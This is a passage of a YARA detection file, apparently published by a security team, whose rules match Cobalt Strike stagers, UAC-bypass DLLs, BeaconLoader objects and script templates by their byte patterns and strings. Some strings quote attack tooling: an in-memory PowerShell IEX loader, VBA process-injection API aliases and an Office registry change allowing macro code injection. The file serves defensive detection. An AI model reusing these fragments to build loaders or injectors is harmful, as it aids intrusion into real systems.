	condition:
		all of them
}

rule CobaltStrike_Resources_Bypassuactoken_x64_Dll_v3_11_to_v3_14
{
	meta:
		description = "Cobalt Strike's resources/bypassuactoken.x64.dll from v3.11 to v3.14 (64-bit version)"
		hash = "853068822bbc6b1305b2a9780cf1034f5d9d7127001351a6917f9dbb42f30d67"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "c89befcd-a622-5947-9ce3-a6031901a45a"

	strings:
		$isHighIntegrityProcess = {
			83 ?? 7A
			75 ??
			8B [3]
			33 ??
			FF 15 [4]
			44 [4]
			8D [2]
			48 8B ??
			48 8D [3]
			48 8B ??
			4C 8B ??
			48 89 [3]
			FF 15 [4]
			85 C0
			74 ??
			48 8B ??
			FF 15 [4]
			8D [2]
			8A ??
			40 [2]
			0F B6 D1
			48 8B 0F
			FF 15 [4]
			81 ?? 00 30 00 00
		}
		$executeTaskmgr = {
			44 8D ?? 70
			48 8D [3]
			E8 [4]
			83 [3] 00
			48 8D [5]
			0F 57 ??
			66 0F 7F [3]
			48 89 [3]
			48 8D [5]
			48 8D [3]
			C7 [3] 70 00 00 00
			C7 [3] 40 00 00 00
			48 89 [3]
			FF 15
		}

	condition:
		all of them
}

rule CobaltStrike_Resources_Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_Ps1_v3_8_to_v4_x
{
	meta:
		description = "Cobalt Strike's resources/command.ps1 for versions 2.5 to v3.7 and resources/compress.ps1 from v3.8 to v4.x"
		hash = "932dec24b3863584b43caf9bb5d0cfbd7ed1969767d3061a7abdc05d3239ed62"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "c0b81deb-ed20-5f7e-8e15-e6a9e9362594"

	strings:
		$ps1 = "$s=New-Object \x49O.MemoryStream(,[Convert]::\x46romBase64String(" nocase
		$ps2 = "));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();" nocase

	condition:
		all of them
}

rule CobaltStrike_Resources_Covertvpn_Dll_v2_1_to_v4_x
{
	meta:
		description = "Cobalt Strike's resources/covertvpn.dll signature for version v2.2 to v4.4"
		hash = "0a452a94d53e54b1df6ba02bc2f02e06d57153aad111171a94ec65c910d22dcf"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "a65b855c-5703-5b9f-bb57-da8ebf898f9b"

	strings:
		$dropComponentsAndActivateDriver_prologue = {
			5?
			68 [4]
			68 [4]
			C7 [3-5] 00 00 00 00
			FF 15 [4]
			50
			FF 15 [4]
			8B ??
			85 ??
			74 ??
			8D [3-5]
			5?
			FF 15 [4]
			50
		}
		$dropFile = {
			6A 00
			5?
			E8 [4]
			83 C4 08
			83 F8 FF
			74 ??
			5?
			[0-5]
			E8 [4]
			83 C4 ??
			[0-2]
			6A 00
			68 80 01 00 00
			6A 02
			6A 00
			6A 05
			68 00 00 00 40
			5?
			FF 15 [4]
			8B ??
			83 ?? FF
			75 ??
			FF 15 [4]
			5?
		}
		$nfp = "npf.sys" nocase
		$wpcap = "wpcap.dll" nocase

	condition:
		all of them
}

rule CobaltStrike_Resources_Covertvpn_injector_Exe_v1_44_to_v2_0_49
{
	meta:
		description = "Cobalt Strike's resources/covertvpn-injector.exe signature for version v1.44 to v2.0.49"
		hash = "d741751520f46602f5a57d1ed49feaa5789115aeeba7fa4fc7cbb534ee335462"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "48485ae2-1d99-5fa8-b8e8-0047e92ef447"

	strings:
		$dropComponentsAndActivateDriver_prologue = {
			C7 04 24 [4]
			E8 [4]
			83 EC 04
			C7 44 24 04 [4]
			89 04 24
			E8 59 14 00 00
			83 EC 08
			89 45 ??
			83 7D ?? 00
			74 ??
			E8 [4]
			8D [2]
			89 [3]
			89 04 24
		}
		$dropFile = {
			C7 44 24 04 00 00 00 00
			8B [2]
			89 ?? 24
			E8 [4]
			83 F8 FF
			74 ??
			8B [2]
			89 ?? 24 04
			C7 04 24 [4]
			E8 [4]
			E9 [4]
			C7 44 24 18 00 00 00 00
			C7 44 24 14 80 01 00 00
			C7 44 24 10 02 00 00 00
			C7 44 24 0C 00 00 00 00
			C7 44 24 08 05 00 00 00
			C7 44 24 04 00 00 00 40
			8B [2]
			89 04 24
			E8 [4]
			83 EC 1C
			89 45 ??
		}
		$nfp = "npf.sys" nocase
		$wpcap = "wpcap.dll" nocase

	condition:
		all of them
}

rule CobaltStrike_Resources_Dnsstager_Bin_v1_47_through_v4_x
{
	meta:
		description = "Cobalt Strike's resources/dnsstager.bin signature for versions 1.47 to 4.x"
		hash = "10f946b88486b690305b87c14c244d7bc741015c3fef1c4625fa7f64917897f1"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "e1b0e368-9bcf-5d9b-b2b3-8414742f213e"

	strings:
		$apiLocator = {
			31 ??
			AC
			C1 ?? 0D
			01 ??
			38 ??
			75 ??
			03 [2]
			3B [2]
			75 ??
			5?
			8B ?? 24
			01 ??
			66 8B [2]
			8B ?? 1C
			01 ??
			8B ?? 8B
			01 ??
			89 [3]
			5?
			5?
		}
		$dnsapi = { 68 64 6E 73 61 }

	condition:
		$apiLocator and $dnsapi
}

rule CobaltStrike_Resources_Elevate_Dll_v3_0_to_v3_14_and_Sleeve_Elevate_Dll_v4_x
{
	meta:
		description = "Cobalt Strike's resources/elevate.dll signature for v3.0 to v3.14 and sleeve/elevate.dll for v4.x"
		hash = "6deeb2cafe9eeefe5fc5077e63cc08310f895e9d5d492c88c4e567323077aa2f"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "170f62a2-ba4f-5be8-9ec5-402eb7bbde4e"

	strings:
		$wnd_proc = {
			6A 00
			6A 28
			68 00 01 00 00
			5?
			C7 [5] 01 00 00 00
			FF ??
			6A 00
			6A 27
			68 00 01 00 00
			5?
			FF ??
			6A 00
			6A 00
			68 01 02 00 00
			5?
			FF ??
		}

	condition:
		$wnd_proc
}

rule CobaltStrike_Resources_Elevate_X64_Dll_v3_0_to_v3_14_and_Sleeve_Elevate_X64_Dll_v4_x
{
	meta:
		description = "Cobalt Strike's resources/elevate.x64.dll signature for v3.0 to v3.14 and sleeve/elevate.x64.dll for v4.x"
		hash = "c3ee8a9181fed39cec3bd645b32b611ce98d2e84c5a9eff31a8acfd9c26410ec"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "91d5c343-1084-5cfc-9dfa-46f530eb9625"

	strings:
		$wnd_proc = {
			81 ?? 21 01 00 00
			75 ??
			83 [5] 00
			75 ??
			45 33 ??
			8D [2]
			C7 [5] 01 00 00 00
			45 [2] 28
			FF 15 [4]
			45 33 ??
			8D [2]
			45 [2] 27
			48 [2]
			FF 15 [4]
			45 33 ??
			45 33 ??
			BA 01 02 00 00
			48
		}

	condition:
		$wnd_proc
}

rule CobaltStrike_Resources_Httpsstager64_Bin_v3_2_through_v4_x
{
	meta:
		description = "Cobalt Strike's resources/httpsstager64.bin signature for versions v3.2 to v4.x"
		hash = "109b8c55816ddc0defff360c93e8a07019ac812dd1a42209ea7e95ba79b5a573"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "c16e73fc-484a-5f7e-8127-d85a0254d842"

	strings:
		$apiLocator = {
			48 [2]
			AC
			41 [2] 0D
			41 [2]
			38 ??
			75 ??
			4C [4]
			45 [2]
			75 ??
			5?
			44 [2] 24
			49 [2]
			66 [4]
			44 [2] 1C
			49 [2]
			41 [3]
			48
		}
		$InternetSetOptionA = {
			BA 1F 00 00 00
			6A 00
			68 80 33 00 00
			49 [2]
			41 ?? 04 00 00 00
			41 ?? 75 46 9E 86
		}

	condition:
		$apiLocator and $InternetSetOptionA
}

rule CobaltStrike_Resources_Httpsstager_Bin_v2_5_through_v4_x
{
	meta:
		description = "Cobalt Strike's resources/httpsstager.bin signature for versions 2.5 to 4.x"
		hash = "5ebe813a4c899b037ac0ee0962a439833964a7459b7a70f275ac73ea475705b3"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "f45aa40a-3936-50f9-a60e-de7181862d19"

	strings:
		$apiLocator = {
			31 ??
			AC
			C1 ?? 0D
			01 ??
			38 ??
			75 ??
			03 [2]
			3B [2]
			75 ??
			5?
			8B ?? 24
			01 ??
			66 8B [2]
			8B ?? 1C
			01 ??
			8B ?? 8B
			01 ??
			89 [3]
			5?
			5?
		}
		$InternetSetOptionA = {
			6A 04
			5?
			6A 1F
			5?
			68 75 46 9E 86
			FF
		}

	condition:
		$apiLocator and $InternetSetOptionA
}

rule CobaltStrike_Resources_Httpstager64_Bin_v3_2_through_v4_x
{
	meta:
		description = "Cobalt Strike's resources/httpstager64.bin signature for versions v3.2 to v4.x"
		hash = "ad93d1ee561bc25be4a96652942f698eac9b133d8b35ab7e7d3489a25f1d1e76"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "5530dce8-e5a1-5133-9b05-464e3397084a"

	strings:
		$apiLocator = {
			48 [2]
			AC
			41 [2] 0D
			41 [2]
			38 ??
			75 ??
			4C [4]
			45 [2]
			75 ??
			5?
			44 [2] 24
			49 [2]
			66 [4]
			44 [2] 1C
			49 [2]
			41 [3]
			48
		}
		$postInternetOpenJmp = {
			41 ?? 3A 56 79 A7
			FF ??
			EB
		}

	condition:
		$apiLocator and $postInternetOpenJmp
}

rule CobaltStrike_Resources_Httpstager_Bin_v2_5_through_v4_x
{
	meta:
		description = "Cobalt Strike's resources/httpstager.bin signature for versions 2.5 to 4.x"
		hash = "a47569af239af092880751d5e7b68d0d8636d9f678f749056e702c9b063df256"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "86109485-c26c-5c51-8d04-dd1add9a8c57"

	strings:
		$apiLocator = {
			31 ??
			AC
			C1 ?? 0D
			01 ??
			38 ??
			75 ??
			03 [2]
			3B [2]
			75 ??
			5?
			8B ?? 24
			01 ??
			66 8B [2]
			8B ?? 1C
			01 ??
			8B ?? 8B
			01 ??
			89 [3]
			5?
			5?
		}
		$downloaderLoop = {
			B? 00 2F 00 00
			39 ??
			74 ??
			31 ??
			( E9 | EB )
		}

	condition:
		$apiLocator and $downloaderLoop
}

rule CobaltStrike_Resources_Reverse64_Bin_v2_5_through_v4_x
{
	meta:
		description = "Cobalt Strike's resources/reverse64.bin signature for versions v2.5 to v4.x"
		hash = "d2958138c1b7ef681a63865ec4a57b0c75cc76896bf87b21c415b7ec860397e8"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "966e6e4c-85e2-5c94-8245-25367802b7d2"

	strings:
		$apiLocator = {
			48 [2]
			AC
			41 [2] 0D
			41 [2]
			38 ??
			75 ??
			4C [4]
			45 [2]
			75 ??
			5?
			44 [2] 24
			49 [2]
			66 [4]
			44 [2] 1C
			49 [2]
			41 [3]
			48
		}
		$calls = {
			48 89 C1
			41 BA EA 0F DF E0
			FF D5
			48 [2]
			6A ??
			41 ??
			4C [2]
			48 [2]
			41 BA 99 A5 74 61
			FF D5
		}

	condition:
		$apiLocator and $calls
}

rule CobaltStrike_Resources_Reverse_Bin_v2_5_through_v4_x
{
	meta:
		description = "Cobalt Strike's resources/reverse.bin signature for versions 2.5 to 4.x"
		hash = "887f666d6473058e1641c3ce1dd96e47189a59c3b0b85c8b8fccdd41b84000c7"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "182dbcd0-1180-5516-abe3-cf2eebbd0e39"

	strings:
		$apiLocator = {
			31 ??
			AC
			C1 ?? 0D
			01 ??
			38 ??
			75 ??
			03 [2]
			3B [2]
			75 ??
			5?
			8B ?? 24
			01 ??
			66 8B [2]
			8B ?? 1C
			01 ??
			8B ?? 8B
			01 ??
			89 [3]
			5?
			5?
		}
		$ws2_32 = {
			5D
			68 33 32 00 00
			68 77 73 32 5F
		}
		$connect = {
			6A 10
			5?
			5?
			68 99 A5 74 61
		}

	condition:
		$apiLocator and $ws2_32 and $connect
}

rule CobaltStrike_Resources_Smbstager_Bin_v2_5_through_v4_x
{
	meta:
		description = "Cobalt Strike's resources/smbstager.bin signature for versions 2.5 to 4.x"
		hash = "946af5a23e5403ea1caccb2e0988ec1526b375a3e919189f16491eeabc3e7d8c"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "074b7d83-e3d8-541c-804b-2417c21f54d5"

	strings:
		$apiLocator = {
			31 ??
			AC
			C1 ?? 0D
			01 ??
			38 ??
			75 ??
			03 [2]
			3B [2]
			75 ??
			5?
			8B ?? 24
			01 ??
			66 8B [2]
			8B ?? 1C
			01 ??
			8B ?? 8B
			01 ??
			89 [3]
			5?
			5?
		}
		$smb = { 68 C6 96 87 52 }
		$smbstart = {
			6A 40
			68 00 10 00 00
			68 FF FF 07 00
			6A 00
			68 58 A4 53 E5
		}

	condition:
		$apiLocator and $smb and $smbstart
}

rule CobaltStrike_Resources_Template_Py_v3_3_to_v4_x
{
	meta:
		description = "Cobalt Strike's resources/template.py signature for versions v3.3 to v4.x"
		hash = "d5cb406bee013f51d876da44378c0a89b7b3b800d018527334ea0c5793ea4006"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "16aef9a9-b217-5462-93dc-f6273c99ddd0"

	strings:
		$arch = "platform.architecture()"
		$nope = "WindowsPE"
		$alloc = "ctypes.windll.kernel32.VirtualAlloc"
		$movemem = "ctypes.windll.kernel32.RtlMoveMemory"
		$thread = "ctypes.windll.kernel32.CreateThread"
		$wait = "ctypes.windll.kernel32.WaitForSingleObject"

	condition:
		all of them
}

rule CobaltStrike_Resources_Template_Sct_v3_3_to_v4_x
{
	meta:
		description = "Cobalt Strike's resources/template.sct signature for versions v3.3 to v4.x"
		hash = "fc66cb120e7bc9209882620f5df7fdf45394c44ca71701a8662210cf3a40e142"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "9d2b1dfa-5f76-503f-9198-6ed0d039e0cb"

	strings:
		$scriptletstart = "<scriptlet>" nocase
		$registration = "<registration progid=" nocase
		$classid = "classid=" nocase
		$scriptlang = "<script language=\"vbscript\">" nocase
		$cdata = "<![CDATA["
		$scriptend = "</script>" nocase
		$antiregistration = "</registration>" nocase
		$scriptletend = "</scriptlet>"

	condition:
		all of them and @scriptletstart [ 1 ] < @registration [ 1 ] and @registration [ 1 ] < @classid [ 1 ] and @classid [ 1 ] < @scriptlang [ 1 ] and @scriptlang [ 1 ] < @cdata [ 1 ]
}

rule CobaltStrike_Resources__Template_Vbs_v3_3_to_v4_x
{
	meta:
		description = "Cobalt Strike's resources/btemplate.vbs signature for versions v3.3 to v4.x"
		hash = "e0683f953062e63b2aabad7bc6d76a78748504b114329ef8e2ece808b3294135"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "62f35d02-1e4e-5651-b575-888ce06b8bdd"

	strings:
		$ea = "Excel.Application" nocase
		$vis = "Visible = False" nocase
		$wsc = "Wscript.Shell" nocase
		$regkey1 = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" nocase
		$regkey2 = "\\Excel\\Security\\AccessVBOM" nocase
		$regwrite = ".RegWrite" nocase
		$dw = "REG_DWORD"
		$code = ".CodeModule.AddFromString"
		$ao = { 41 75 74 6f 5f 4f 70 65 6e }
		$da = ".DisplayAlerts"

	condition:
		all of them
}

rule CobaltStrike_Resources_Template__x32_x64_Ps1_v1_45_to_v2_5_and_v3_11_to_v3_14
{
	meta:
		description = "Cobalt Strike's resources/template.x64.ps1, resources/template.x32 from v3.11 to v3.14 and resources/template.ps1 from v1.45 to v2.5 "
		hash = "ff743027a6bcc0fee02107236c1f5c96362eeb91f3a5a2e520a85294741ded87"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "c9fa6a39-0098-5dde-9762-94bc6b2df299"

	strings:
		$importVA = "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc" nocase
		$importCT = "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread" nocase
		$importWFSO = "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject" nocase
		$compiler = "New-Object Microsoft.CSharp.CSharpCodeProvider" nocase
		$params = "New-Object System.CodeDom.Compiler.CompilerParameters" nocase
		$paramsSys32 = ".ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))" nocase
		$paramsGIM = ".GenerateInMemory = $True" nocase
		$result = "$compiler.CompileAssemblyFromSource($params, $assembly)" nocase

	condition:
		all of them
}

rule CobaltStrike_Resources_Template_x64_Ps1_v3_0_to_v4_x_excluding_3_12_3_13
{
	meta:
		description = "Cobalt Strike's resources/template.x64.ps1, resources/template.hint.x64.ps1 and resources/template.hint.x32.ps1 from v3.0 to v4.x except 3.12 and 3.13"
		hash = "ff743027a6bcc0fee02107236c1f5c96362eeb91f3a5a2e520a85294741ded87"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "5a808113-aacb-56ca-b3ec-166c73c54b85"

	strings:
		$dda = "[AppDomain]::CurrentDomain.DefineDynamicAssembly" nocase
		$imm = "InMemoryModule" nocase
		$mdt = "MyDelegateType" nocase
		$rd = "New-Object System.Reflection.AssemblyName('ReflectedDelegate')" nocase
		$data = "[Byte[]]$var_code = [System.Convert]::FromBase64String(" nocase
		$64bitSpecific = "[IntPtr]::size -eq 8"
		$mandatory = "Mandatory = $True"

	condition:
		all of them
}

rule CobaltStrike_Resources_Template_x86_Vba_v3_8_to_v4_x
{
	meta:
		description = "Cobalt Strike's resources/template.x86.vba signature for versions v3.8 to v4.x"
		hash = "fc66cb120e7bc9209882620f5df7fdf45394c44ca71701a8662210cf3a40e142"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "11c7758e-93b2-5fe3-873d-b98de579d2b4"

	strings:
		$createstuff = "Function CreateStuff Lib \"kernel32\" Alias \"CreateRemoteThread\"" nocase
		$allocstuff = "Function AllocStuff Lib \"kernel32\" Alias \"VirtualAllocEx\"" nocase
		$writestuff = "Function WriteStuff Lib \"kernel32\" Alias \"WriteProcessMemory\"" nocase
		$runstuff = "Function RunStuff Lib \"kernel32\" Alias \"CreateProcessA\"" nocase
		$vars = "Dim rwxpage As Long" nocase
		$res = "RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)"
		$rwxpage = "AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)"

	condition:
		all of them and @vars [ 1 ] < @res [ 1 ] and @allocstuff [ 1 ] < @rwxpage [ 1 ]
}

rule CobaltStrike_Resources_Xor_Bin_v2_x_to_v4_x
{
	meta:
		description = "Cobalt Strike's resource/xor.bin signature for version 2.x through 4.x"
		hash = "211ccc5d28b480760ec997ed88ab2fbc5c19420a3d34c1df7991e65642638a6f"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "1754746c-3a42-5f7d-808a-ba2e1c0a270e"

	strings:
		$stub52 = {fc e8 ?? ?? ?? ?? [1-32] eb 27 5? 8b ??    83 c? ?4 8b ??    31 ?? 83 c? ?4 5? 8b ??    31 ?? 89 ??    31 ?? 83 c? ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb ea 5? ff e? e8 d4 ff ff ff}
		$stub56 = {fc e8 ?? ?? ?? ?? [1-32] eb 2b 5d 8b ?? ?? 83 c5 ?4 8b ?? ?? 31 ?? 83 c5 ?4 55 8b ?? ?? 31 ?? 89 ?? ?? 31 ?? 83 c5 ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb e8 5? ff e? e8 d? ff ff ff}

	condition:
		any of them
}

rule CobaltStrike_Resources_Xor_Bin__64bit_v3_12_to_v4_x
{
	meta:
		description = "Cobalt Strike's resource/xor64.bin signature for version 3.12 through 4.x"
		hash = "01dba8783768093b9a34a1ea2a20f72f29fd9f43183f3719873df5827a04b744"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "5bb465ee-3bbd-5bfe-8b63-1f243de217bc"

	strings:
		$stub58 = {fc e8 ?? ?? ?? ?? [1-32] eb 33 5? 8b ?? 00 4? 83 ?? ?4 8b ?? 00 31 ?? 4? 83 ?? ?4 5? 8b ?? 00 31 ?? 89 ?? 00 31 ?? 4? 83 ?? ?4 83 ?? ?4 31 ?? 39 ?? 74 ?2 eb e7 5? fc 4? 83 ?? f0 ff}
		$stub59 = {fc e8 ?? ?? ?? ?? [1-32] eb 2e 5? 8b ??    48 83 c? ?4 8b ??    31 ?? 48 83 c? ?4 5? 8b ??    31 ?? 89 ??    31 ?? 48 83 c? ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb e9 5?    48 83 ec ?8 ff e? e8 cd ff ff ff}
		$stub63 = {fc e8 ?? ?? ?? ?? [1-32] eb 32 5d 8b ?? ?? 48 83 c5 ?4 8b ?? ?? 31 ?? 48 83 c5 ?4 55 8b ?? ?? 31 ?? 89 ?? ?? 31 ?? 48 83 c5 ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb e7 5?    48 83 ec ?8 ff e? e8 c9 ff ff ff}

	condition:
		any of them
}

rule CobaltStrike_Sleeve_BeaconLoader_HA_x86_o_v4_3_v4_4_v4_5_and_v4_6
{
	meta:
		description = "Cobalt Strike's sleeve/BeaconLoader.HA.x86.o (HeapAlloc) Versions 4.3 through at least 4.6"
		hash = "8e4a1862aa3693f0e9011ade23ad3ba036c76ae8ccfb6585dc19ceb101507dcd"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "0ee3fa6f-367c-596f-a3bc-3bcfa61b97aa"

	strings:
		$core_sig = {
      C6 45 F0 48
      C6 45 F1 65
      C6 45 F2 61
      C6 45 F3 70
      C6 45 F4 41
      C6 45 F5 6C
      C6 45 F6 6C
      C6 45 F7 6F
      C6 45 F8 63
      C6 45 F9 00
    }

	condition:
		all of them
}

rule CobaltStrike_Sleeve_BeaconLoader_MVF_x86_o_v4_3_v4_4_v4_5_and_v4_6
{
	meta:
		description = "Cobalt Strike's sleeve/BeaconLoader.MVF.x86.o (MapViewOfFile) Versions 4.3 through at least 4.6"
		hash = "cded3791caffbb921e2afa2de4c04546067c3148c187780066e8757e67841b44"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "3f7c0553-989e-53e7-87a9-3fa1c47f4b62"

	strings:
		$core_sig = {
      C6 45 EC 4D
      C6 45 ED 61
      C6 45 EE 70
      C6 45 EF 56
      C6 45 F0 69
      C6 45 F1 65
      C6 45 F2 77
      C6 45 F3 4F
      C6 45 F4 66
      C6 45 F5 46
      C6 45 F6 69
      C6 45 F7 6C
      C6 45 F8 65
      C6 45 F9 00
    }

	condition:
		all of them
}

rule CobaltStrike_Sleeve_BeaconLoader_VA_x86_o_v4_3_v4_4_v4_5_and_v4_6
{
	meta:
		description = "Cobalt Strike's sleeve/BeaconLoader.VA.x86.o (VirtualAlloc) Versions 4.3 through at least 4.6"
		hash = "94d1b993a9d5786e0a9b44ea1c0dc27e225c9eb7960154881715c47f9af78cc1"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "5f89c4be-f4c5-54d3-b923-d125de53902f"

	strings:
		$core_sig = {
      C6 45 B0 56
      C6 45 B1 69
      C6 45 B2 72
      C6 45 B3 74
      C6 45 B4 75
      C6 45 B5 61
      C6 45 B6 6C
      C6 45 B7 41
      C6 45 B8 6C
      C6 45 B9 6C
      C6 45 BA 6F
      C6 45 BB 63
      C6 45 BC 00
    }
		$deobfuscator = {
      8B 4D FC
      83 C1 01
      89 4D FC
      8B 55 FC
      3B 55 0C
      73 19
      0F B6 45 10
      8B 4D 08
      03 4D FC
      0F BE 11
      33 D0
      8B 45 08
      03 45 FC
      88 10
      EB D6
    }

	condition:
		all of them
}

rule CobaltStrike_Sleeve_BeaconLoader_x86_o_v4_3_v4_4_v4_5_and_v4_6
{
	meta:
		description = "Cobalt Strike's sleeve/BeaconLoader.x86.o Versions 4.3 through at least 4.6"
		hash = "94d1b993a9d5786e0a9b44ea1c0dc27e225c9eb7960154881715c47f9af78cc1"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "32a47966-f3bb-52c3-a977-82a1b09ddf2c"

	strings:
		$core_sig = {
      C6 45 B0 56
      C6 45 B1 69
      C6 45 B2 72
      C6 45 B3 74
      C6 45 B4 75
      C6 45 B5 61
      C6 45 B6 6C
      C6 45 B7 41
      C6 45 B8 6C
      C6 45 B9 6C
      C6 45 BA 6F
      C6 45 BB 63
      C6 45 BC 00
    }
		$deobfuscator = {
      8B 4D FC
      83 C1 01
      89 4D FC
      8B 55 FC
      3B 55 0C
      73 19
      0F B6 45 10
      8B 4D 08
      03 4D FC
      0F BE 11
      33 D0
      8B 45 08
      03 45 FC
      88 10
      EB D6
    }

	condition:
		$core_sig and not $deobfuscator
}

rule CobaltStrike_Sleeve_BeaconLoader_HA_x64_o_v4_3_v4_4_v4_5_and_v4_6
{
	meta:
		description = "Cobalt Strike's sleeve/BeaconLoader.HA.x64.o (HeapAlloc) Versions 4.3 through at least 4.6"
		hash = "d64f10d5a486f0f2215774e8ab56087f32bef19ac666e96c5627c70d345a354d"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "9b16ff13-2d8e-51dc-9f99-6c45eff76feb"

	strings:
		$core_sig = {
      C6 44 24 38 48
      C6 44 24 39 65
      C6 44 24 3A 61
      C6 44 24 3B 70
      C6 44 24 3C 41
      C6 44 24 3D 6C
      C6 44 24 3E 6C
      C6 44 24 3F 6F
      C6 44 24 40 63
      C6 44 24 41 00
    }

	condition:
		all of them
}

rule CobaltStrike_Sleeve_BeaconLoader_MVF_x64_o_v4_3_v4_4_v4_5_and_v4_6
{
	meta:
		description = "Cobalt Strike's sleeve/BeaconLoader.MVF.x64.o (MapViewOfFile) Versions 4.3 through at least 4.6"
		hash = "9d5b6ccd0d468da389657309b2dc325851720390f9a5f3d3187aff7d2cd36594"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "38e063db-3d76-5a94-812a-945fcf46a232"

	strings:
		$core_sig = {
      C6 44 24 58 4D
      C6 44 24 59 61
      C6 44 24 5A 70
      C6 44 24 5B 56
      C6 44 24 5C 69
      C6 44 24 5D 65
      C6 44 24 5E 77
      C6 44 24 5F 4F
      C6 44 24 60 66
      C6 44 24 61 46
      C6 44 24 62 69
      C6 44 24 63 6C
      C6 44 24 64 65
    }

	condition:
		all of them
}

rule CobaltStrike_Sleeve_BeaconLoader_VA_x64_o_v4_3_v4_4_v4_5_and_v4_6
{
	meta:
		description = "Cobalt Strike's sleeve/BeaconLoader.VA.x64.o (VirtualAlloc) Versions 4.3 through at least 4.6"
		hash = "ac090a0707aa5ccd2c645b523bd23a25999990cf6895fce3bfa3b025e3e8a1c9"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "8ca04f82-a8a8-5162-8b0c-8a7bce678a85"

	strings:
		$core_sig = {
      C6 44 24 48 56
      C6 44 24 49 69
